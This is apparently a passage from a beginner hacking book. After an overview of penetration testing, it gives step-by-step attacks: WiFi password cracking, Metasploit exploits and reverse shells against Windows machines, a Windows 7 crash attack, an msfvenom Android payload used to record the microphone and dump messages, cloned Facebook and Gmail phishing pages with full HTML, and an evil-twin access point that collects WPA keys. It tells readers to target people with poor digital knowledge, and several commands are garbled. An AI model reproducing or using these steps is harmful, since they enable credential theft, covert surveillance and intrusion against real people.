You can divide a penetration test into three facets, namely:

Network Penetration
This facet focuses on the physical attributes of your target. The main goal of this facet is to
identify vulnerabilities, determine risks, and ensure the security of a network. As the
hacker, you should search for flaws in the design, operation, or implementation of the
network you’re dealing with. You will probably hack modems, computers, and access
devices in this part of the attack.

Application Penetration
In this facet, you will concentrate on the target’s logical structure. It simulates hacking
attacks to verify the effectiveness of the network’s existing defenses. Application
penetration usually requires hackers to test the firewall and/or monitoring mechanisms of
their target.

System Workflows or Responses
This facet focuses on how the organization’s workflows and responses will change during
an attack. It also involves the relationship of end-users with their computers. During this,
the penetration tester will know whether the members of the network can prevent
malicious attacks.

Manual and Automated Tests
Penetration testers divide tests into two categories: manual and automated. Manual tests
rely on the skills of a white hat hacker. The tester has complete control over the process. If
he makes a mistake, the entire penetration test can prove to be useless. Automated tests,
on the other hand, don’t need human intervention. Once the test runs, the computer will
take care of everything: from selecting targets to recording the results.
In this part of the book, you’ll learn important information regarding these types of tests.
You need to master this concept if you’re serious about hacking. With this knowledge, you
can easily determine the type of test that must be used in any situation.

Manual Penetration Tests
You will run manual tests most of the time. Here, you will use your tools, skills, and
knowledge to find the weaknesses of a network.
Manual tests involve the following steps:
Research – This step has a huge influence over the entire process. If you have a lot
of information about your target, attacking it will be easy. You can conduct research
using the internet. For example, you may look for specific information manually or
run your hacking tools.
Kali Linux has a wide of range of tools that you can use in this “reconnaissance” phase.
With Kali’s built-in programs, you can easily collect data about your targets (e.g.
hardware, software, database, plugins, etc.).
Assessment of Weaknesses – Analyze the information you collected and identify
the potential weaknesses of the target. Your knowledge and experience will help
you in this task. Obviously, you need to work on the obvious weaknesses first.
That’s because these weaknesses attract black hat hackers.
Exploitation – Now that you know the specific weaknesses of your target, you must
perform an attack. You will “exploit” a weakness by attacking it with a hacking
Preparation and Submission of Output – Record all the information you gathered
during the test. Arrange the data so that your clients can easily determine the next
steps. Make sure that your report is clearly explained. Don’t use jargon.

White hat hackers divide manual penetration tests into the following categories:
Comprehensive Tests – This kind of test covers an entire network. A
comprehensive test aims to determine the connections between the parts of a target.
However, comprehensive tests are time-consuming and situational.
Focused Tests – Tests that belong to this category concentrate on a specific risk or
vulnerability. Here, the hacker will use his skills in pinpointing and exploiting
certain vulnerabilities in a network.

Automated Penetration Tests
Automated tests are easy, fast, reliable and efficient. You can get detailed reports just by
pressing a single button. The program will take care of everything on your behalf. In
general, the programs used in this test are newbie-friendly. They don’t require special
skills or knowledge. If you can read and use a mouse, you’re good to go.
The most popular programs for automated tests are Metasploit, Nessus, and OpenVAs.
Metasploit is a hacking framework that can launch attacks against any operating system.
Hackers consider Metasploit as their primary weapon.
Infrastructure Tests
A computer system or network usually consists of multiple devices. Most of these devices
play an important role in keeping the system/network stable and effective. If one of these
devices malfunctions, the entire system or network might suffer. That is the reason why
penetration testers must attack the infrastructure of their targets.

The Basics of Infrastructure Tests
An infrastructure test involves internal computer networks, internet connection, external
devices, and virtualization technology. Let’s discuss these in detail:
Internal Infrastructure Tests - Hackers can take advantage of flaws in the internal
security of a network. By testing the internal structure of a target, you will be able
to identify and solve existing weaknesses. You will also prevent the members of the
organization from attacking the structure from the inside.
External Infrastructure Tests – These tests simulate black hat attacks. Because
malicious hackers will attack a network from outside, it’s important to check
whether the external defense mechanisms of that network are strong.

Wireless Network Tests – WiFi technology allows you to connect devices
indirectly. Here, data packets will just travel from one device to another. This
technology offers convenience. However, convenience creates vulnerability.
Hackers may
scan for data packets that are being sent in a network. Once
Aircrack-ng, Wireshark, or similar tools obtain these data packets, the network will be
prone to hacking attacks.
A wireless network test allows the white hat hacker to improve the target’s defenses
against wireless attacks. The tester may also use his findings to create guidelines for the
network’s end-users.
Virtualization and Cloud Infrastructure Tests – Storing company-related
information in third-party servers is extremely risky. The hackers may capture the
data as it goes to the “cloud” server. They may also attack the cloud server itself
and access all the information stored there. Because the incident happened outside
the network, tracking the culprits can be extremely difficult.

How to Write a Report
Your efforts will go to waste if you won’t record your results. To become a successful
white hat hacker, you should know how to write good reports. In this part of the book,
you’ll discover important tips, tricks, and techniques in writing reports for penetration

Main Elements of a Report
Goals – Describe the purpose of your test. You may include the advantages of
penetration testing in this part of the report.
Time – You should include the timestamp of the activities you will perform. This
will give an accurate description of the network’s status. If a problem occurs later
on, the hacker can use the timestamps of his activities to determine the cause of the
Audience – The report should have a specific audience. For example, you may
address your report to the company’s technical team, IT manager, or CEO.
Classification – You should classify the document since it contains sensitive data.
However, the mode of classification depends on your client.
Distribution – Your report contains confidential information. If a black hat hacker
gets access to that document, the network you were meant to protect will go down.
Thus, your report should indicate the total number of copies you made as well as
the people to whom you sent them. Each report must have an ID number and the
name of its recipient.

Data Gathering
Penetration tests involve long and complex processes. As a result, you need to describe
every piece of information that you’ll collect during the attack. Describing your hacking
techniques isn’t enough. You should also explain your assessments, the results of your
scans, as well as the output of your hacking tools.

Creating Your First Draft
Write the initial draft of your report after collecting all the information you need. Make

sure that this draft is full of details. Focus on the processes, experiences, and activities
related to your test.

Typographical and/or grammatical errors can ruin your report. Thus, you need to review
your work and make sure that it is error-free. Once you’re satisfied with your output, ask
your colleagues to check it. This approach will help you produce excellent reports.

Outline of a Test Report
1. Executive Summary
1. Scope and Limitations of the Project
2. Objectives
3. Assumptions
4. Timeline
5. Summary of Results
6. Summary of Suggestions
2. Methodology
1. Plan Formulation
2. Execution of the Attack
3. Reporting
3. Findings
1. Detailed Information Regarding the System
2. Detailed Information Regarding the Server
4. References
1. Appendix

The Legal Aspect of Penetration Tests
As a hacker, you will deal with confidential data concerning a business or organization.
Accidents might happen, and the information may leak to other people. That means you
need to be prepared for legal issues that may arise in your hacking projects.
This part of the book will discuss the legal aspect of hacking. Read this material carefully:
it can help you avoid lawsuits and similar problems.

Legal Problems
Here are some of the legal problems that you may face:
Leakage of confidential information
Financial losses caused by faulty tests
You can prevent the problems given above by securing an “intent statement”. This
statement proves the agreement between the client and the tester. This document describes
all of the details related to the penetration test. You’ll use an intent statement to avoid legal
issues in the future. Thus, both parties should sign the document before the test starts.

Chapter 6: Specific Hacking Techniques
This chapter will teach you several hacking techniques. These techniques are basic, yet
extremely effective. They work in different situations: you may use them during practice
or while testing a network. In addition, they rely on tools that are present in Kali Linux. If
you are using Kali as your OS for your hacking activities, you won’t have to download
any additional tool.
Important Note: Kali Linux is an OS that is especially designed for hackers and
penetration testers. It’s not meant to replace Windows or OS X. You can install Kali on a
flash drive so you won’t have to uninstall the OS of your computer. Whenever you need to
hack something, just plug in your flash drive on a laptop/desktop and you’re good to go.
All of your hacking tools are inside your pocket, literally.

How to Hack WiFi Networks that Use WEP Encryption
More and more people are using wireless networks. Thus, every hacker needs to know
how to attack this kind of target. In this section, you’ll use Kali Linux to hack a WEPencrypted WiFi password.
Important Note: You’re still practicing so don’t use it on other people’s network. It would
be best if you’ll create your own wireless network. There are a lot of videos on YouTube
regarding that task. Watching videos and installing a network is better than getting arrested
for attacking your neighbor’s WiFi. Never forget: unauthorized hacking is illegal.
To hack a WEP-encrypted password, you should do the following:
1. Determine the ID of your computer’s wireless adapter.
Each computer contains multiple network adapters. Your first task is to look for the
wireless adapter and view its name. This step is quick and painless: you just have to open
a terminal, type “ifconfig”, and hit the Enter key. Your screen will show you something
like this:

Most computers will give you three adapters: eth, lo, and wlan. For this task, you should
focus on the “wlan” adapter. The image above shows that the name of the wireless adapter
is “wlan1”.
2. Run the Airmon-ng program.
“Airmon-ng” is a part of the “Aircrack-ng” suite. It allows you to generate a monitoring
interface for the attack. To activate this program, just type “airmon-ng start wlan_ID”.

Replace “wlan_ID” with the name of your adapter (e.g. airmon-ng start wlan1”).
Your screen will show you this:

3. Capture data packets from your target network.
Now, you should collect some data packets available in your area. You need to use a tool
called “airodump-ng” for this. Basically, “airodump-ng” (which is another member of the
aircrack-ng suite) looks for data packets and shows you all of the existing WiFi networks
near you.
The command that you should type is:
airodump-ng wlan0mon.

The terminal will show you a list of available networks. Here’s an example:

4. Save the data packets as a “cap” file.
You can accomplish this task by issuing the “—write” command to airodump-ng. The
code that you should use is:
airodump-ng wlan0mon —write FileName

Just replace “FileName” with the filename that you want to use. Let’s assume that you
want to use “practice” as the file. The code becomes:
airodump-ng wlan0mon —write sample

The information will be saved in a file named “sample.cap”.
5. Run a password cracker.
Launch another terminal and run “aircrack-ng” to identify the password of the network.
Just type the name of the program and specify the cap file you created earlier. For this
example, the command is:
aircrack-ng sample
It’s possible that your file contains more than one WiFi network. If that is the case,
aircrack-ng will ask you to specify the one you want to attack. Follow the instructions on
the screen and wait for the program to complete the process. The resulting code will have
colons (“:”) in it. You can get the password of the network by removing the colons. For
example, if you got EX:AM:PL:ES, the password of the network is EXAMPLES.

How to Hack WiFi Networks that Use WPA/WPA-2
WEP-encrypted passwords are easy to hack. WPA/WPA-2 passwords, however, are timeconsuming and resource-intensive. This is the reason why most WiFi networks use
WPA/WPA-2 encryption. Cracking this form of encryption is difficult, but certainly
doable. Here are the steps you need to take:
1. Launch a terminal and launch airmon-ng.
airmon-ng start wlan_ID

Replace “wlan_ID” with the name of your adapter.
2. Capture data packets using the airodump-ng program.
You can complete this task by typing
airodump-ng wlan0mon

3. Save the packets inside a cap file.
4. The command that must type is:
airodump-ng wlan0mon —write NameofFile

5. Take note of the BSSID of your target and initiate the program called “aireplayng”.
You’ll find the BSSID of a network in the airodump-ng screen. After getting that
information, type:
aireplay-ng —deauth 0 –a BSSID wlan0mon

Replace “BSSID” with the BSSID of your target.
6. Use the following syntax:

aircrack-ng NameofFile.cap –w dictionary.txt

7. Replace “NameofFile.cap” with the cap file you generated. Then, replace
“dictionary.txt” with the dictionary file that you want to use for the process. A
dictionary file is a text file that contains possible passwords. Kali Linux has several
dictionary files that you can use.
8. Wait for the program to complete the process. If your chosen dictionary file
contains the encrypted password, aircrack-ng will give you a positive result. If the
password is not in the text file, however, the program will ask you to specify
another dictionary.

How to Hack Windows XP
Windows XP is an old operating system. In fact, Microsoft stopped issuing updates for this
OS. However, many people are still using XP on their computers. Because this OS won’t
get any future updates, its existing vulnerabilities will be forever available to hackers and
penetration testers.
This section will teach you how to attack Windows XP using the Metasploit framework.
The author assumes that you are using Kali Linux and that you have a virtual machine that
runs Windows XP. Virtual machines allow you to run multiple operating systems (in this
case, Kali Linux and Windows XP) on a single computer. There are a lot of instructional
materials regarding virtual machines on YouTube.
Important Note: Make sure that you are using a virtual machine. Practicing this hacking
technique on a real Windows XP computer can lead to serious problems. If something bad
happens on a virtual machine, you can just restart it by pressing some buttons. Busting an
actual XP computer, on the other hand, may lead to repair costs.

The Process
You must break into a network before hacking the computers linked to it. However, this
lesson doesn’t require any network attack. That’s because the XP operating system is
installed in your Kali computer. Thus, the XP virtual machine belongs to your computer
To hack a Windows XP computer, you should:
1. Start the Metasploit Framework in your Kali Linux OS.
Launch a terminal and type:
service postgresql start

This command activates PostgreSQL on your computer. PostgreSQL serves as the
database of Metasploit, so you should run it first before triggering the program itself. Now,
service metasploit start

If you did everything right, your terminal should look like this:

2. Use the “port scan” feature of Metasploit to find targets.
The Metasploit framework comes with various auxiliary tools. Port Scan is one of the best
tools present in this framework. This tool allows you to scan all of the ports of a machine.
It can provide you with detailed information about the open ports of your target. As you
know, a port serves as a doorway for hackers. An open port is an open door.
Activate Port Scan by entering this command:
use auxiliary/scanner/portscan/tcp

Display the available scanning options by typing:
show options

By default, Port Scan will check each port present in the system. You don’t want this to
happen since the entire process will take a long time. It would be best if you’ll specify the
range of ports to be checked. Here’s an example:
set ports 1-600

Now, you must specify the IP address of your target. This step is tricky since IP addresses
may vary. For this example, you need to access the XP virtual machine and launch a
command prompt. Type “ipconfig” and search for the machine’s IP address. Let’s assume
that the IP address of your virtual machine is
Return to your Kali OS and enter the following:

Type “run” to begin the process. Metasploit will display all of the open ports present in
your virtual machine. If the scan didn’t show any open ports, go back to your XP OS and
turn off its firewall. Then, run the scan again. Let’s assume that the scan discovered two
open ports: 135 and 445.
Important Note: In actual practice, you won’t know the IP address of your target. That
means you need to use NMAP to find targets and their IP addresses.
3. Search for exploits.
This is one of the most important phases of the attack. You must find an exploit that works
on your chosen target. Exit the Port Scanner by typing “back”. In the main screen of
msfconsole, type “search dcom”. The “dcom” exploit is one of the best tools that can use
to hack an XP computer.
Metasploit will show you the search results. Look for the module called
“exploit/windows/dcerpc/ms03_026_dcom” and copy its name. Then, type the following:
use exploit/windows/dcerpc/ms03_026_dcom

Display the available options by typing:
show options

Indicate the IP address of your target. Here’s the code:

Choose the payload for your attack. The payload determines what will happen once you
have breached the target’s defenses. It may set an open terminal or plant a virus. There are
thousands of payloads available in the Metasploit framework. To find the right payload for
your current attack, type:

4. The ideal payload for this lesson is “windows/shell_bind_tcp”. This payload opens
a shell (or command prompt) in the target through a TCP port. You can set this
payload by typing:
set PAYLOAD windows/shell_bind_tcp

5. Now that you have specified each aspect of the attack, type “run”.
6. Metasploit will tell you that a shell has been opened in your target computer. That
shell gives you administrator privileges over your target. You may download files
from that computer or send programs to it. You may also obtain screenshots of the
computer if you want.

How to Use a Meterpreter on an XP Computer
Meterpreters are the strongest payloads that you can use. They give you complete control
over the infected machine. In this lesson, you’ll know how to send a meterpreter using
Important Note: This process is similar to the previous one. The only difference is that
you’ll use a different type of payload. To keep this book short, let’s just use the
information you collected earlier (the IP address and the open ports). The remaining stages
of the attack are:
1. Identify the IP address of your Kali Linux computer.
Payloads have different requirements. For example, a payload may only need the IP
address of your target. Some payloads, however, require the IP address of the attack – and
meterpreters belong to this group. That means you need to set the IP of your computer as
LHOST of a meterpreter payload.
If you don’t know the IP address of your Kali computer, launch a terminal and type:

“ifconfig”. The terminal will display the information you need.
2. Launch the Metasploit framework.
Choose an exploit, set the RHOST, and indicate the payload. For this lesson, the exploit
that you should use is “ms08_067_netapi”. This exploit is the most popular exploit for XP
computers. Set the meterpreter payload by typing:

3. Type “exploit” to launch the attack. A meterpreter shell will appear on your target
computer. This shell allows you to do a lot of things. To view the options available
to you, just type a question mark. Here are some of the options:
1. sysinfo – This command gives you important information regarding your
2. getpid – With this command, you can identify the program your meterpreter
is currently using.
3. getuid – Use this command to get some information about the user you
4. ps – This command shows all of the active processes on the system.
5. run killav – This command can deactivate the antivirus of your target
system. Use it if you’re planning to inject some malicious programs into the
computer you hacked.

How to Crash a Windows 7 Computer
You can hack Windows XP easily. Its younger “siblings” (Windows 7, 8, and 10),
however, are tough nuts to crack. These modern systems don’t have unresolved
vulnerabilities. That means you can’t run an exploit directly when hacking a modern OS.
In this section, your goal is to bring down a Windows 7 computer using the Metasploit
framework. If you are successful, the target machine will display a blue screen with some
gibberish on it. This process is extremely easy when done over a local area network.
Important Note: You must have Windows 7 on a virtual machine. Remember: don’t
practice your hacking skills on an actual computer. The results can be disastrous.
Let’s divide the process into several steps:

Data Gathering
You have to determine the IP address of your target. During an actual penetration test, this
process can be difficult. You have to find a computer’s IP address without getting
detected. In this lesson, however, identifying the IP address is quick and easy. You just
have to access your virtual machine, launch a shell, and enter “ipconfig”. Look for the line
that says IPv4.

Launching Metasploit
Go back to your Kali Linux OS and open a terminal. Then, start the Metasploit framework
by issuing the following commands:
service postgresql start
service metasploit start
The “msf” (Metasploit Framework) console will appear on your current terminal.

Executing the Attack
Choose the exploit for this attack. The command that you must issue is:

use auxiliary/dos/windows/rdp/ms12_020_maxchannelids

Type “show options” to view the options offered by this exploit. You’ll find that it has two
requirements: RPORT and RHOST. Set “3389” as the RPORT, since it is the port for
remote desktops. Set the IP address of your target as the RHOST. Then, type “exploit”.
Your target machine will display a blue screen and restart. Computer users refer to that
blue screen as “blue screen of death”. Metasploit allows you to perform this trick many
times. In the real world, this attack can be frustrating. Imagine what a person would do if
his computer keeps on rebooting.

How to Hack an Android Phone
Metasploit has a powerful payload generator called “msfvenom”. With msfvenom, you
can create payloads for any device that you want to hack. In this lesson, you’ll use
msfvenom to hack an Android phone.
Here are the steps:
1. Access your Kali Linux computer and launch a terminal.
2. Specify the payload and generate an executable file. The command that you should
type is:
root@kali:-# msfvenom –p android/meterpreter/reverse_tcp LHOST=
LPORT=4444 R>andro.apk

Important Note: Set your own IP address in the LHOST section of the code. Also, do not
add extra space characters to this code.
3. This process will generate an apk file, which is an executable file for android
devices. Send and install this apk file to the phone you want to hack.
4. Launch Metasploit by typing “msfconsole”.
5. Activate the multi-handler tool of Metasploit and set it up. You will use the multihandler to control the apk file you sent. The commands that you must type are:
set payload android/meterpreter/reverse_tcp
set LHOST (insert your IP address here)
set LPORT 4444

6. Metasploit will launch the payload handler. Now, you just have to wait until your
victim launches the installed app in his device. The name of this app is “MAIN
ACTIVITY”. You will get a meterpreter terminal on the target device as soon as the
app runs.
7. Take advantage of the hacked device by issuing commands. Here are some
commands that you can use:

1. geolocate – This command allows you to locate the target device.
2. record_mic – This command activates the microphone of the hacked device.
The mic will record every sound that your victim makes. This information
will be sent to your computer.
3. dump_sms – With this command, you can obtain the text messages present
on the target device.
4. webcam_stream – This command launches a streaming session using the
webcam of the target device.
5. webcam_snap – Use this command to take a shot using the camera of the
hacked phone.
6. dump_contacts – This command grabs all of the contacts present in the
target device.

How to Hack a Facebook Account
The Facebook system uses modern security mechanisms. It’s extremely difficult to get
past its defenses and obtain information about its users. Fortunately, you don’t have to
attack Facebook directly (unless you want to bring down the site). If you’re just planning
to steal the login information of other people, you can use a phishing tool from your Kali
Linux computer.
In this lesson, you’ll create a fake Facebook login page. You’ll send this fake webpage to
Facebook users. Once a person logs in, you will obtain all the information he enters.

Credential Harvester – The Basics
Credential Harvester is a member of Kali’s social engineering toolbox. It can create a
phishing page and send login credentials to the hacker. This tool creates an IP address for
the attack. As the hacker, you may modify the resulting IP address to make it more

The Process
To use the Credential Harvester tool, you should:
1. Access your Kali Linux computer and launch a terminal.
2. Issue the “setoolkit” command.
3. You’ll find the terms and conditions of the toolkit. Type “y” and hit the Enter key.
4. The terminal will list all of the available options. Enter “1”, “2”, and “3”. This will
launch the Credential Harvester tool.
5. Choose the option that says “Site Cloner”.
6. Enter the following details:
1. Your IP address
2. The URL of the website that you want to clone
7. Minimize the terminal and go to “Places”. Click on “Computer”, hit “VAR”, and
open the “WWW directory”. Transfer all of the files inside “www” to “html”.
8. Visit to shorten the IP address. Once a Facebook user clicks on
your link and enters his login credentials, Credential Harvester will record the
information for you. It will store the information inside a text file, which is located

in the WWW directory (see above).

How to Hack a Gmail Account
This lesson will focus on a popular hacking tool called Wapka. This tool can help you
collect the Gmail login credentials of your victims.

Wapka – The Basics
Wapka is a site creation platform. It offers free websites and hosting services. With this
tool, you can create an effective phishing site in just a few minutes. Additionally, Wapka
doesn’t require extensive knowledge regarding PHP and MySQL.

The Requirements
1. A target
2. Familiarity with Gmail
3. Familiarity with HTML codes
4. Familiarity with website creation
5. A Gmail account

The Process
1. Visit and create a Wapka account.
2. Access your account, search for “Site List”, and click on “Create New Site”.
3. Specify the name of your website. Wapka allows you to combine numbers and
letters. You can’t use any special character. For this lesson, let’s assume that the
name of your site is “samplesite”. The URL of your website will be
4. Activate the Admin mode of your new site.
5. You’ll see a blank webpage. It is empty because you haven’t done anything on your
site. Look for the link that says “EDIT SITE” and click on it.
6. In the next screen, hit the “Mail Form” link.
7. Make sure that CAPTCHA is disabled. Click on “Submit and Remember”.
8. Go back to the site list and launch the website you’re working on. This time, don’t
activate the Admin mode. Look at the bottom of the webpage and hit “Source Code

9. Place the URL of your site inside the large box. You’ll see a lot of checkboxes.
Search for an entry that looks like “value=xxxxx”. Take note of that value.
Activate the Admin mode, click on “Edit Site”, and choose “Users”.
Hit “Items Visibility” and select “Visible Only in Admin Mode”.
Access the site again and activate the Admin mode. Hit “EDIT SITE”
and “WML/HTML CODE”. Paste the following code onto the page:
<?xml version=“1.0” ?>
<meta forua=“true” http-equiv=“Cache-Control” content=“max-age=0”/>
<do type=“options” name=“Prev” label=“Back”><prev/></do>
<card id=“index” title=“” >
<p><script type=“text/javascript”> document.title = “Sign in”; </script><title>Sign
<link rel=“shortcut icon” type=“image/x-icon”
<div><div><body dir=“ltr”
style=“background-color: #eee; font-family: arial, helvetica, sans-serif; font-size: 13px;
padding: 0; margin: 0;”>
<div style=“margin: 10px;”/>
<img src=”//”

<div style=“font-size: 17px;”>
Sign in
<div><div><div style=“background-color: #fff; border-color:#e5e5e5; border-width:
1px 0 1px 0; border-style: solid; padding: 10px 0 10px 10px; margin: 0;”><form
method=“post” class=“mobile-login-form”

action=”/site_0.xhtml”><div class=“label”><b>Username</b></div>
<input type=“text” name=“mf_text[email]” value=”” class=“textbox” /><br/>
<div class=“label”><b>Password</b></div>
<input type=“password” name=“mf_text[password]” value=”” class=“textbox” />
<input type=“hidden” name=“p” value=“125256565”/>
<input type=“checkbox” name=“autologin_ch” value=“1” /> Stay signed in<br/>
<input type=“hidden” name=“action” value=“send_message”/><input type=“submit”
name=“MF_submit” value=” Sign in ” class=“button”/> </form></div>
<div><div style=“margin: 10px;”>
New to Gmail? It’s free and easy.

<a id=“link-signup” href=“
an account</a>
<div style=“margin: 10px; font-size: 11px;”>

© 2015 Google | <a href=“”>Terms of Service</a>
| <a href=“”>Privacy Policy</a>
| <a href=“”>Help</a>
<p><noscript/></p><p align=“center”><a href=”/menu_0.wml”>:=:</a></p><p
src=”/pictures/9apps.png” /><br />Hottest Apps & Games & Wallpapers
Download</a></p><img src=”/ga.gif?utmac=MO-324718051&amp;utmn=1113259389&amp;utmr=&amp;utmp=%2Findex.xhtml&amp;guid=ON” width=“1” height=“1” /><img
width=“1” height=“1” />

Look for the “value=xxxxx” entry and replace it with the one you
copied earlier.
Congratulations! You created your own phishing site for Gmail users. Once a Gmail user
accesses that page and tries to log in, you will obtain his login credentials.

The Things You Should Know
Facebook blocks all Wapka-related URLs. That means you can’t phish for Gmail
passwords using your Facebook account.
Wapka is not available in India. The government of that country is currently
blocking all Wapka-related sites.
You may use proxy services to bypass the limitations given above.
You must encourage Gmail users to access their email account through your fake
webpage. Here are some techniques that you can use:

Shorten the web address of your phishing site through
Send the URL to people who have poor knowledge regarding digital
Utilize social engineering tactics to attract more victims.

How to Gather Information Using Kali Linux
As you’ve learned in previous chapters, information gathering is an important aspect of
hacking and penetration testing. Your chances of succeeding will significantly increase if
you have a lot of data about your target. In this part of the book, you’ll learn how to use
Kali Linux in collecting information.

TheHarvester – The Basics
Kali Linux has an extensive collection of “reconnaissance” tools. To keep this section
short, let’s focus on a tool called “TheHarvester”. TheHarvester is a Python-based tool that
can collect important information on your behalf. It can grab usernames, email addresses,
hostnames, and subdomains from various sources.

The Process
Access your Kali Linux computer and open a terminal. Then, type “theharvester” to
launch the reconnaissance tool. TheHarvester comes as a built-in tool for the latest Kali
versions, so you probably don’t need to download anything. If your computer doesn’t have
this program, however, you can visit to
download it.
Here are the steps that you need to take:
1. Use the following syntax:
theHarvester –d [] –l 300 –b [name of search engine]

Here’s an example:
theHarvester –d –l 300 –b bing

2. Just replace with the URL of your target website. Then,
indicate the search engine that you want to use. The result that you’ll get depends
on the information that the search engine can pull. If you want to grab all of the
available information regarding your target, type “all” at the end of the code

instead. For example:
theHarvester –d –l 300 –b all

3. The search results will appear on the terminal. If you want to save the information,
you may add “-f” to the command and specify a filename. Here’s an example:
theHarvester –d –l 300 –b bing –f sample

The resulting file is in the HTML format.

How to set up an Evil Twin AP
Evil Twin APs (i.e. Access Points) are rigged access points that pretend to be WiFi
hotspots. When a person connects to an Evil Twin AP, his information will be exposed to
the hacker.
To the victim, the malicious access point is a hotspot that has great signal. This perception
results from the fact that the hacker is near the victim. People love strong WiFi networks,
so it’s likely that a victim will connect to an Evil Twin AP.

The Process
1. Access your Kali computer.
2. Make sure that you have internet connection.
3. Launch a terminal and enter
apt-get install dhcp3-server

This command will install a DHCP server onto your machine.
4. Type

And press Enter. Your terminal will display an empty file.
5. Type the following commands:
default-lease-time 600
max-lease-time 6000
subnet netmask {
option subnet-mask
option broadcast-address

option routers
option domain-name-servers

6. Once done, use the CTRL+X key combination and press “Y”.
7. Switch to another directory by typing:
cd /var/www

8. Then, issue the following commands:
rm index.html

9. Trigger MySQL and the Apache server by typing:
/etc/init.d/mysql start
/etc/init./apache2 start

You will use MySQL to generate a database for storing WPA/WPA2
passwords. Here are commands that you must issue:
Mysql –u root
create database evil_twin;
use evil_twin
create tale wpa_keys(passwors varchar(64), confirm varchar(64));


Type “ip route” to determine your local IP address.


Identify the name of your network adapter using this command:

airmon-ng start wlan0

Update the OUI (Organizationally Unique Identifier) of your
Airodump-ng program. Here’s the command:

Find the ESSID (Extended Service Set Identification), BSSID (the
MAC address of your access point), and the channel that you need to use. The
command that you should use is:
airodump-ng –M mon0


Activate the Evil Twin AP using this syntax:

airbase-ng –e [insert ESSID here] –c [insert channel number here] –P mon0


The Airbase-ng program created a tunnel interface on your behalf. You

just have to configure this tunnel interface to connect your wired interface and your
“evil” access point. To do this, you must launch a terminal and type the following:
ifconfig [name of tunnel interface] netmask


Enable internet protocol forwarding through these commands:

route add –net netmask gw
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables –table net –append POSTROUTING –out-interface [name of local interface] –j
iptables –append FORWARD –in-interface [name of tunnel interface] –j ACCEPT
iptables –t net –A PREROUTING –p tcp –dport 80 –j DNET –to-destination [LOCALIP

iptables –t net –A POSTROUTING –j MASQUERADE
dhcpd –cf /etc./dhcpd.conf –pf /var/run/ [name of tunnel interface]
etc./init.d/isc-dhcp-server start


Disconnect your targets from their current wireless networks. To

accomplish this, you must generate a “blacklist” file to hold the target’s BSSID.
Issue the following commands:
echo [BSSID] > blacklist
mdk3 mon0 d –b blacklist –c [CH.#]

Look at the terminal that holds your Airbase-ng program. See if a target
connected to your access point. When a person tries to connect, he will see a
security page that asks for the WPA/WPA2 key.
Check the terminal for your MySQL database and enter the following:
use evil_twin


Access “wpa_keys” to view the data entered by your target.

Chapter 7: How to Protect Yourself
Today, countless hackers are on the loose. These people are spreading computer viruses
through the internet. If you aren’t careful, malicious programs might infect your machine.
In this chapter, you’ll learn how to protect yourself from usual techniques and vectors that
hackers use.

Prevent the Typical Attack Vectors
Hackers use the following vectors to lure victims:

It’s your lucky day. Someone from Nigeria needs your help in smuggling money from his
country. You don’t have to do anything difficult. You just have to conduct some wire
transfers and wait for the Nigerian to give you your share of the funds.
While checking the inbox of your email account, you saw a message saying you won a
contest. You just have to send some money for shipping and wait for your prize to arrive.
The situations given above are typical scams. You probably think that nobody would fall
for them. Well, nothing could be further from the truth. Thousands of people fall for such
tricks. Victims send money and/or confidential information to the hackers, hoping for a
quick benefit.
Think before reacting to any email. Scams work best against people who act quickly. If an
email says something that is too good to be true, ignore it. If the message asks you to give
personal information, report the email and tag it as spam.

Trojan Horses
A Trojan horse serves as a container for malicious programs. This “container” often
appears as an interesting or important file. Once you download a Trojan horse, its contents
will infect your computer. This technique is extremely effective in turning innocent users
into hapless victims.
In most cases, hackers use emails in sending out Trojans. They send a phishing email that
contains a Trojan as an attachment. The email will encourage you to download and open
the included file.
Some hackers, however, use social networking sites in spreading out Trojans. They post
videos with interesting titles. Once you click on the video, the webpage will tell you that
you must update your browser first if you want to view the content. Well, the “update” that
you need to download and install is a Trojan.
The best way to fight this hacking vector is by using your common sense and running an

updated antivirus program.

Automatic Downloads
In some situations, even up-to-date security programs are not enough. Your computer
might have one or more vulnerable programs that hackers can take advantage of. For
example, if you have an old version of a computer application, it may be vulnerable to
Hackers exploit vulnerabilities present in a program by establishing a rigged website.
These people attract victims by sending out phishing messages through emails or social
networking sites.
Keep in mind, however, that hackers are not limited to their own sites. They can attack a
legitimate site and insert malicious codes into it. Once you visit a compromised site, the
inserted codes will scan your machine for vulnerable programs. Then, the codes will
install viruses onto your machine automatically.
You can protect yourself by keeping your computer applications updated. Software
developers release updates and/or patches for their products. Most programs can detect
whenever a new update is available. They will just ask you whether or not you would like
to update your program. Hit “Yes” and wait for the update process to complete.

Exploiting Weak Passwords
Fictional stories depict hackers as people who can guess passwords with ease. Real world
hackers, however, rarely use this method. They don’t even bother guessing their victims’
passwords. They use various methods to obtain that crucial information.
You can enhance your online security by using different passwords for different sites. For
example, the password of your Facebook account should be different from that of your
Twitter account. This way, your Twitter account will still be safe even if a hacker
successfully attacks your Facebook profile, and vice versa.
Using the same password for all of your accounts is extremely risky. When one of your
accounts gets compromised, the rest of your accounts will also be in danger. You don’t
have to use completely different passwords. It’s enough to add some characters to your
main password to create different variations.

A hacker might also try to answer your security questions. You can protect your account
by giving an answer that is not related to the question. This way, the hacker won’t be able
to access your account, regardless of how diligently he conducted his research.

Taking Advantage of Open WiFi
The term “open WiFi” refers to a wireless network without any form of encryption. That
means anyone can connect to the network and interact with the machines inside it. When a
hacker gets into your network, he will be able to view and record all of the things you do.
He may also visit restricted websites and/or download files illegally through your internet
connection. When that hacker does something illegal and gets tracked, the police will visit
It’s important to set a password for your WiFi network. Make sure that the encryption for
your network is set to WPA/WPA-2. This encryption involves hashing, which makes
hacking an extremely difficult task.

How to Protect Your Website from Hackers
There are a lot of reasons why a hacker would attack a company website. For example, a
hacker might try to steal your financial information for personal purposes. He might also
try to obtain business-related data and sell it to your competitors. Because of this, you
must do your best in protecting your site from malicious hackers.

Typical Hacking Attacks
SQL Injection – With this attack, a hacker can spoof your identity, access your
site’s database, and destroy/modify the information inside your database. Here, the
hacker will insert malicious SQL codes into the form fields of your website.
DDoS (Distributed Denial of Service) – The goal of this attack is to bring down a
website temporarily. If a DDoS attack is successful, legitimate users won’t be able
to use the website. Hackers perform it by flooding the target with continuous
CSRF (Cross Site Request Forgery) – Here, the hacker will hijack a session to
make purchases on the victim’s behalf. This attack happens when the victim clicks
on a URL or downloads a file that runs unknown and/or unwanted actions.
XSS (Cross-Site Scripting) – Hackers use this technique to destroy your website
and/or run their payloads. Basically, an XSS attack happens when a hacker injects
